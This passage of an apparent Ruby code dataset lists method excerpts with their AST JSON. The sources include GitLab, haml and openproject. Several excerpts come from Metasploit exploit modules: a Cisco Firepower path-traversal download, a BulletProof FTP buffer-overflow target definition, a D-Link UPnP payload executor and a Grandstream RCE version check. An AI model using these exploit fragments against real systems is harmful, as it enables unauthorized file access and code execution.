\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client_id\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"realm\"]},{\"type\":\"lvar\",\"children\":[\"client_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"SharepointInvalidResponseError\"]},{\"type\":\"str\",\"children\":[\"The server did not return a WWW-Authenticate header with getting OAuth info\"]}]}]}]}]}","id":"940dbf52-c70d-4de2-b556-84d1f8d41266"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/cisco_firepower_download.rb","start_line":114,"raw_source":"def download_file(cgi_sid, file)\n    file_path = \"../../..#{Rex::FileUtils.normalize_unix_path(file)}\\x00\"\n    print_status(\"Requesting: #{file_path}\")\n    send_request_cgi({\n      'method' => 'GET',\n      'cookie' => \"CGISESSID=#{cgi_sid}\",\n      'uri' => normalize_uri(target_uri.path, 'events/reports/view.cgi'),\n      'vars_get' => {\n        'download' => '1',\n        'files' => file_path\n      }\n    })\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"download_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cgi_sid\"]},{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"../../..\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"FileUtils\"]},\"normalize_unix_path\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Requesting: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CGISESSID=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cgi_sid\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"events/reports/view.cgi\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"download\"]},{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"files\"]},{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]}]}]}]}]}]}","id":"73a7bfab-d37d-4bae-8418-b3aaa0daf430"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'BulletProof FTP Client BPS Buffer Overflow',\n        'Description' => %q{\n          This module exploits a stack-based buffer overflow vulnerability in\n          BulletProof FTP Client 2010, caused by an overly long hostname.\n\n          By persuading the victim to open a specially-crafted .BPS file, a\n          remote attacker could execute arbitrary code on the system or cause\n          the application to crash. This module has been tested successfully on\n          Windows XP SP3.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Gabor Seljan'\n        ],\n        'References' => [\n          [ 'EDB', '34162' ],\n          [ 'EDB', '34540' ],\n          [ 'EDB', '35449' ],\n          [ 'OSVDB', '109547' ],\n          [ 'CVE', '2014-2973' ],\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'thread'\n        },\n        'Platform' => 'win',\n        'Payload' => {\n          'BadChars' => \"\\x00\\x0a\\x0d\\x1a\",\n          'Space' => 2000\n        },\n        'Targets' => [\n          [\n            'Windows XP SP3',\n            {\n              'Offset' => 89,\n              'Ret' => 0x74c86a98 # POP EDI # POP ESI # RET [oleacc.dll]\n            }\n          ]\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2014-07-24',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('FILENAME', [ false, 'The file name.', 'msf.bps'])\n      ],\n      self.class\n    )\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"BulletProof FTP Client BPS Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a stack-based buffer overflow vulnerability in\\n\"]},{\"type\":\"str\",\"children\":[\"          BulletProof FTP Client 2010, caused by an overly long hostname.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          By persuading the victim to open a specially-crafted .BPS file, a\\n\"]},{\"type\":\"str\",\"children\":[\"          remote attacker could execute arbitrary code on the system or cause\\n\"]},{\"type\":\"str\",\"children\":[\"          the application to crash. This module has been tested successfully on\\n\"]},{\"type\":\"str\",\"children\":[\"          Windows XP SP3.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Gabor Seljan\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"34162\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"34540\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"35449\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"109547\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2014-2973\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"thread\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\n\\r\\u001a\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[2000]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP SP3\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offset\"]},{\"type\":\"int\",\"children\":[89]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1959291544]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2014-07-24\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILENAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The file name.\"]},{\"type\":\"str\",\"children\":[\"msf.bps\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]}]}]}","id":"05f23746-2e8f-4e8e-aaeb-a50ebddb91dd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/maven_packages_spec.rb","start_line":1472,"raw_source":"def upload_file_with_token(params: {}, request_headers: headers_with_token, file_extension: 'jar', file_name: 'my-app-1.0-20180724.124855-1')\n      upload_file(params: params, request_headers: request_headers, file_name: file_name, file_extension: file_extension)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_file_with_token\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"request_headers\",{\"type\":\"send\",\"children\":[null,\"headers_with_token\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"file_extension\",{\"type\":\"str\",\"children\":[\"jar\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"file_name\",{\"type\":\"str\",\"children\":[\"my-app-1.0-20180724.124855-1\"]}]}]},{\"type\":\"send\",\"children\":[null,\"upload_file\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"request_headers\"]},{\"type\":\"lvar\",\"children\":[\"request_headers\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_name\"]},{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_extension\"]},{\"type\":\"lvar\",\"children\":[\"file_extension\"]}]}]}]}]}","id":"8b940ffd-5238-4e41-b1ef-638bdf99741a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb","start_line":371,"raw_source":"def exploit\n    print_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\")\n    case target['Type']\n    when :unix_cmd\n      execute_command(payload.encoded)\n    when :linux_dropper\n      # Don't check the response here since the server won't respond\n      # if the payload is successfully executed.\n      execute_cmdstager({ linemax: target.opts['Linemax'] })\n    end\n  end","complexity_score":21.8,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PAYLOAD\"]}]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Type\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"unix_cmd\"]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"linux_dropper\"]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"linemax\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Linemax\"]}]}]}]}]}]},null]}]}]}","id":"8c3abba5-18d0-49bd-adde-4a7915fada59"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/http_io_helpers.rb","start_line":19,"raw_source":"def remote_url_response(file_path, request, response_status)\n    range = request.headers['Range'].match(/bytes=(\\d+)-(\\d+)/)\n\n    body = File.read(file_path).force_encoding(Encoding::BINARY)\n    size = body.bytesize\n\n    {\n      status: response_status,\n      headers: remote_url_response_headers(response_status, range[1].to_i, range[2].to_i, size),\n      body: body[range[1].to_i..range[2].to_i]\n    }\n  end","complexity_score":23.8,"ast_json":"{\"type\":\"def\",\"children\":[\"remote_url_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_path\"]},{\"type\":\"arg\",\"children\":[\"request\"]},{\"type\":\"arg\",\"children\":[\"response_status\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Range\"]}]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"bytes=(\\\\d+)-(\\\\d+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"file_path\"]}]},\"force_encoding\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"BINARY\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"size\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"bytesize\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"response_status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"send\",\"children\":[null,\"remote_url_response_headers\",{\"type\":\"lvar\",\"children\":[\"response_status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"to_i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"to_i\"]},{\"type\":\"lvar\",\"children\":[\"size\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"to_i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"to_i\"]}]}]}]}]}]}]}","id":"b57e0ee6-5bd6-48ab-b23d-1a132a3359f9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-housekeeper/lib/gitlab/housekeeper/change.rb","start_line":48,"raw_source":"def mr_description\n        <<~MARKDOWN\n        #{description}\n\n        This change was generated by\n        [gitlab-housekeeper](https://gitlab.com/gitlab-org/gitlab/-/tree/master/gems/gitlab-housekeeper)\n        #{generated_by} using the `#{keep_class}` keep.\n\n        To provide feedback on your experience with `gitlab-housekeeper` please create an issue with the\n        label ~\"GitLab Housekeeper\" and consider pinging the author of this keep.\n        MARKDOWN\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"mr_description\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"description\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"This change was generated by\\n\"]},{\"type\":\"str\",\"children\":[\"[gitlab-housekeeper](https://gitlab.com/gitlab-org/gitlab/-/tree/master/gems/gitlab-housekeeper)\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generated_by\"]}]},{\"type\":\"str\",\"children\":[\" using the `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"keep_class\"]}]},{\"type\":\"str\",\"children\":[\"` keep.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"To provide feedback on your experience with `gitlab-housekeeper` please create an issue with the\\n\"]},{\"type\":\"str\",\"children\":[\"label ~\\\"GitLab Housekeeper\\\" and consider pinging the author of this keep.\\n\"]}]}]}","id":"7744b88b-58b6-4a68-86a0-0818b346139c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/pdf.rb","start_line":163,"raw_source":"def finish_pdf\n    @xref_offset = @pdf.length\n    @pdf << xref_table\n    @pdf << trailer(1)\n    @pdf << startxref\n    @pdf\n  end","complexity_score":8.95,"ast_json":"{\"type\":\"def\",\"children\":[\"finish_pdf\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@xref_offset\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pdf\"]},\"length\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pdf\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"xref_table\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pdf\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"trailer\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pdf\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"startxref\"]}]},{\"type\":\"ivar\",\"children\":[\"@pdf\"]}]}]}","id":"2067f31e-4261-4da7-8a81-d069cbdb3f4c"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/lib/identity_cache/load_strategy/lazy.rb","start_line":60,"raw_source":"def load_pending(pending_loads)\n        result = CacheKeyLoader.load_batch(pending_loads.transform_values(&:db_keys))\n        result.each do |cache_fetcher, load_result|\n          load_request = pending_loads.fetch(cache_fetcher)\n          load_request.after_load(load_result)\n        end\n      end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"load_pending\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pending_loads\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CacheKeyLoader\"]},\"load_batch\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pending_loads\"]},\"transform_values\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"db_keys\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cache_fetcher\"]},{\"type\":\"arg\",\"children\":[\"load_result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"load_request\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pending_loads\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"cache_fetcher\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"load_request\"]},\"after_load\",{\"type\":\"lvar\",\"children\":[\"load_result\"]}]}]}]}]}]}","id":"0a1d653a-7b62-4aa5-b1c4-7fa27caa66e5"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/engine_test.rb","start_line":1449,"raw_source":"def test_dynamic_hashes_with_suppress_eval; skip # options\n    assert_equal(\"<a></a>\\n\", render('%a{:b => \"a #{1 + 1} b\", :c => \"d\"}', :suppress_eval => true))\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_dynamic_hashes_with_suppress_eval\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<a></a>\\n\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"%a{:b => \\\"a #{1 + 1} b\\\", :c => \\\"d\\\"}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"suppress_eval\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"bba116ec-5b5a-416a-a1ec-627fabce0c64"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/xls_export/lib/open_project/xls_export/xls_views.rb","start_line":80,"raw_source":"def project_representation(value)\n    ar_presentation(Project, value, &:name)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"project_representation\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"ar_presentation\",{\"type\":\"const\",\"children\":[null,\"Project\"]},{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}","id":"d60e34ef-da32-4e66-b85d-d473f648165e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/grandstream_ucm62xx_sendemail_rce.rb","start_line":105,"raw_source":"def check\n    normalized_uri = normalize_uri(target_uri.path, '/cgi')\n    vprint_status(\"Requesting version information from #{normalized_uri}\")\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalized_uri,\n      'vars_post' => { 'action' => 'getInfo' }\n    })\n\n    return CheckCode::Unknown('HTTP status code is not 200') unless res&.code == 200\n\n    body_json = res.get_json_document\n    return CheckCode::Unknown('No JSON in response') unless body_json\n\n    prog_version = body_json.dig('response', 'prog_version')\n    return false if prog_version.nil?\n\n    vprint_status(\"The reported version is: #{prog_version}\")\n\n    version = Rex::Version.new(prog_version)\n    if version < Rex::Version.new('1.0.19.20')\n      return CheckCode::Appears(\"This determination is based on the version string: #{prog_version}.\")\n    end\n\n    return CheckCode::Safe(\"This determination is based on the version string: #{prog_version}.\")\n  end","complexity_score":28.6,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"normalized_uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/cgi\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Requesting version information from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"normalized_uri\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"normalized_uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"getInfo\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"HTTP status code is not 200\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"body_json\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_json_document\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body_json\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"No JSON in response\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"prog_version\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body_json\"]},\"dig\",{\"type\":\"str\",\"children\":[\"response\"]},{\"type\":\"str\",\"children\":[\"prog_version\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prog_version\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The reported version is: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prog_version\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"prog_version\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"1.0.19.20\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"This determination is based on the version string: 